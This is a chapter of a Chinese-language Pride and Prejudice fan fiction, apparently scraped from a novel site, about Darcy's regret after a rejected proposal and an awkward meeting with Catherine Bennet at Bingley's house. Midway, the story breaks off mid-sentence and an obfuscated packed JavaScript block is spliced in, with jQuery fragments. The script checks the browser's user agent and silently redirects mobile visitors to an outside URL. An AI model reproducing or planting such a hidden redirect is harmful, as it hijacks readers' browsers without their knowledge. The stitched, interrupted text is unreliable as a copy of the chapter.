43.第 43 章

作品:《[傲慢与偏见]之凯瑟琳小姐

    凯瑟琳只是有想过,自己可能会在宾利先生这里见到达西先生。


    但是刚来的时候没有马上碰见,现在马上就要离开了反而见到了。也不知道是不是因为如此,之前她做好的心理准备好像不是完全有用。


    她感觉有一点点微妙的感觉,只是少得甚至没法让她说清那是一种什么样的感觉。


    许多天不见,凯瑟琳居然觉得对方的神情有点憔悴?


    她不愿在这方面思考太多,索性同对方正常寒暄了几句,就准备离开这里。


    等到宾利先生跟简恢复正常往来,她都有点想回朗博恩去了。


    ***


    跟凯瑟琳确实存在、但又真正能用理智克制住的感情不同,达西痛苦地发现,自那次求婚被拒之后,自己反而爱慕那位班内特家的小姐愈发的深了。


    初见时的她无疑是一个非常美好的、外加符合自己审美的女性形象。


    那种浅薄的、缺乏对对方内在的了解的感情,才是达西唯一有希望能够中止的时候。


    但是他不愿承认自己的理智在情感面前不堪一击,在意识到自己对对方的欣赏以后,反而在礼仪约定俗成的范围内,毫不避忌同对方的接触。


    于是从一瞬间的美好感觉,渐渐发展成了对对方美丽面容、坦荡态度、优雅姿态……的欣赏。


    其实在这个时候,情感跟理智的战争就正式打响了。


    但是他的感情——这个狡猾的东西,在突发情况——比如说他将要离开内瑟菲尔德一段时间、班内特小姐的身边有其他人出现……在这些情况发生之前,它不断地蛰伏、肆无忌惮地壮大自己。


    因此在内瑟菲尔德,这段他真正跟她产生交集的时间,无论是哪一天,他好像都要沦陷于自己发现的对方的一个全新的优点、魅力点之中。


    无论是写信时的认真、落下笔迹之优美,还是对方的体贴、大方、活泼……终于在内瑟菲尔德举办舞会的那一晚,在他发现对方竟是那般肯定他的人品、他的内在的情况下,情感终于压倒性地战胜了理智。


    尽管他的内心还在挣扎——毕竟理智虽然成了战败方,可它仍旧不甘心认输。


    于是他可笑地想要在求婚前、最后再验证一次,他们是不是真的那么有缘分。


    结果第一次没有见上面,又毫不犹豫地去了第二次、第三次……事实上,理智在这个时候,已经溃不成军了。


    虽然心中的傲慢仍在,但是求婚时同对方倾诉的那一切,应该就是他第一次也是唯一一次讲述自己的压力了。


    他应该是希望自己的那番言语,能够换来对方对他的理解,跟婚后愈发的柔情蜜意的。


    他想要告诉对方,自己的求婚,不光是奔着对方年轻的身躯跟美丽的外貌去的。他早已充分考虑过了他们的将来。


    等到他们结婚以后、夫妻一体,他是绝对不会让她感受到那些差距给她的带来的压力的。


    届时她的不足由他来弥补;他的荣誉有她来共享。


    所以凯瑟琳起初拒绝他的时候,达西是觉得十二万分的痛苦的。


    他觉得对方误会了自己,难道说出他们必定要面临的困难,就是将压力丢给她一个人、自己只会站在亲人身边对她冷眼旁观的意思了吗?


    这不是对他个人品质的否认是什么?


    而且他尤其不能接受,那位小姐她认定了自己思考出来的含义,并且因此而拒绝了他。


    难道只是因为求婚的时候,没有用上纯然的甜言蜜语,他们就要因此而错失自己的幸福了吗?


    所以他痛苦又不甘、后悔又委屈。


    最痛的时候,连朗博恩那个地界都一秒钟也待不下去了。


    直到他回到彭伯利、回到了那个他从小生长、能给他带来最大宽慰的地方,他才慢慢平复心情、才敢重新回想凯瑟琳小姐的那套说辞。


    她说她理想中的爱人,会越过两人之间的阻碍;然后他们两个,再一起携手并进。


    其实仔细想想,这不正是凯瑟琳小姐同他在婚姻观上契合的地方吗?


    他冒着常理所不容的风险、在求婚的时候说了那么一大堆有的没的,不就是希望自己未来的妻子了解他们彼此的生活、差距——好吧,现如今,达西终于愿意承认,当时的自己确实是有些傲慢了。


    他明明可以不用将一切都放在求婚的时候说的,该甜蜜的时候尽情甜蜜、该一起面对的时候再来提前准备不行吗?


    他说那段拒绝是凯瑟琳小姐对他人品的否认,他又何尝不是因为家境的差距而否认了对方的见识。


    明明只要在见到难缠的亲戚之前,对对方略做提醒;甚至为什么一定要对方退让呢?


    她是他认真、真心、十二万分喜欢而选定的妻子,他的那些亲人跟朋友们,为什么就不可以认同他的眼光、不来刁难凯瑟琳小姐,而一定要她来妥协呢?


    达西越想越深、越想越觉得凯瑟琳小姐的拒绝情有可原。


    可他却没法阻止自己陷得愈深。


    甚至因为思想上的契合、碰撞,他觉得自己对对方爱得愈发深刻了。


    然而当那一层虚浮的傲慢被戳破以后,仅剩的自尊反而令他不敢轻举妄动。他怕自己又遭拒绝,就此落入万劫不复之地;也担心自己思考得不够周全,此后彻底失去同那位小姐在一起的可能。


    而且悲痛欲绝之际,他曾舍朗博恩而去。


    如今就算某种念头偶然占据了上风,在Y国糟糕的路况下,他也没办法因为热血上头就马上跑回去找人。


    思来想去,达西到伦敦去找了自己的朋友查尔斯。


    他觉得失恋的时候需要朋友的支持是一件很正常的事情,只是脑海中刻意不去思考:查尔斯即将折返回内瑟菲尔德的概率有多少。


    他要是回去了,他作为朋友,要不要也跟着回去?


    毕竟就算是因为求婚被拒了——不、正是因为求婚被拒了,为了展现自己坦荡的态度,他才更应该跟着查尔斯一块儿回去的吧?


    结果他的这位思维活跃的好朋友,时而粗心、时而贴心。这回偏偏就贴心上了。


    为了不触及他的伤心事,别说带他回内瑟菲尔德了,他甚至准备跟他一起在伦敦过完这个冬天。


    达西:“……”


    达西当然是感念好朋友的这份心意的。【咬牙切齿.jpg】【无言以对.jpg】


    不管怎么样,他都还是借出了自己在伦敦的房产。


    因为好友一家坚持要自己雇佣仆人,达西只得另外给他们添置了家具。


    这样也好,就让他用一个冬天的时间好好地思考一下吧……


    ***


    结果仅仅过去一个多月的时间,他就意外地在借出的房产之中听到了某位班内特小姐的消息。


    当时达西完全没有做好心理准备,他是真的不准备下楼见人的。


    可是查尔斯一离开,他就忍不住重新滚动起这个想法来:他真的不要下去见一见谁吗?


    兴许来人并非那位小姐,而只是她的姐妹呢?


    难道只是因为求婚失败,从此以后他就要避


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053678|177686||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开班内特家的人行走了吗?


    这未免也太可笑了!


    达西如此地说服了自己,并且为了以防万一而换了一身衣服下楼。


    其实下楼之前,他内心是觉得来人是那位班内特家的大小姐的可能性大一些的。


    不过她能勇敢地追来伦敦,还是让她觉得有些意想不到。这样一来,他的好朋友岂非同对方两情相悦?并且眼看他们的相处状态、怕是马上就能修成成果了吧?


    到时候,查尔斯怎么可能不回朗博恩?


    而最好的朋友结婚,他怎么也应该在的吧。


    达西的脑子里胡乱转着这些想法,结果纷乱的思绪就于云杉木制的楼梯上彻底中止。


    他居然在这里见到了那位班内特小姐。


    不是简·班内特,而且凯瑟琳·班内特吗?


    虽然这样的可能性微乎其微,但是有那么一瞬间,达西还是期盼她能如自己那般,在拒绝掉那次求婚以后,才发现自己的感情发酵得更深了。


    但是很快,他就甩开了这不切实际的期盼。


    与其指望着对方因为感情妥协、包容他曾经那过于傲慢的形象——他甚至将之评价为适度的傲慢,他还是更希望对方不要因为那次拒绝而遗憾失落。


    她只需要过好自己的日子,然后亲眼见证他的改变就好了。


    他不赞同为了爱情丢失自我;但他认可那种可以使人变得更好的爱情。


    只是话虽如此,真正到了该跟对方交流的时候,除了问候对方、问候对方的家人,达西一个字也不知道该怎么多说。


    这时候适合流露出自己的感情吗?


    是应该疏远客套些,还是热情好客些?


    想到这里,他颇有一种养友千日、用友一时地将希望的目光投注在了查尔斯的身上。来吧,查尔斯,用你的热情挽留对方,至少留对方在家里吃个饭呢?


    查尔斯竟然get到了达西的意思!


    他目光了然地看向凯瑟琳,“凯瑟琳小姐,午间请务必留下来吃顿便饭!”


    “不了,”凯瑟琳本来就没有要久留的意思,经过跟达西先生的一番交流过后,更是觉得头晕目眩。


    她虽然没有在拒绝对方以后伤心后悔的意思,但是心态到底不如当初她认定对方对自己没有那个意思的时候。


    在面对他的时候,她总也忍不住心烦意乱,因此还是尽早离开的好。


    是以她补充道,“其实我这次来,只是想确认宾利小姐是不是出了什么意外。确认过她没事就好,简还在舅舅家里等着我的消息呢。”


    “说起来今天我也是来得莽撞了,希望宾利先生跟宾利小姐不要介意。”


    “怎么会呢?”宾利先生迅速接话道,“我知道,你跟班内特小姐都是在关心卡洛琳。天呐,你们多么善良的两位小姐啊。”


    “既然班内特小姐还在——是加德纳先生对吗?”显然,平日里简跟宾利先生已经聊得很深入了。


    宾利先生也有在很认真地记忆心上人的信息。


    “是的。”凯瑟琳欣慰地认可道。


    “好的好的,既然班内特小姐还在加德纳先生那里等你的消息,那我也不留你了。”


    “凯瑟琳小姐,烦请您帮忙转告,我跟卡洛琳一定会尽快前往回访的!”


    “好的,那就告辞了,宾利先生、达西先生还有宾利小姐。”


    听着这流畅的一问一答、一辞一应的达西:“……”


    他当时就:“……!!”查尔斯,我以为你是明白了我的意思的!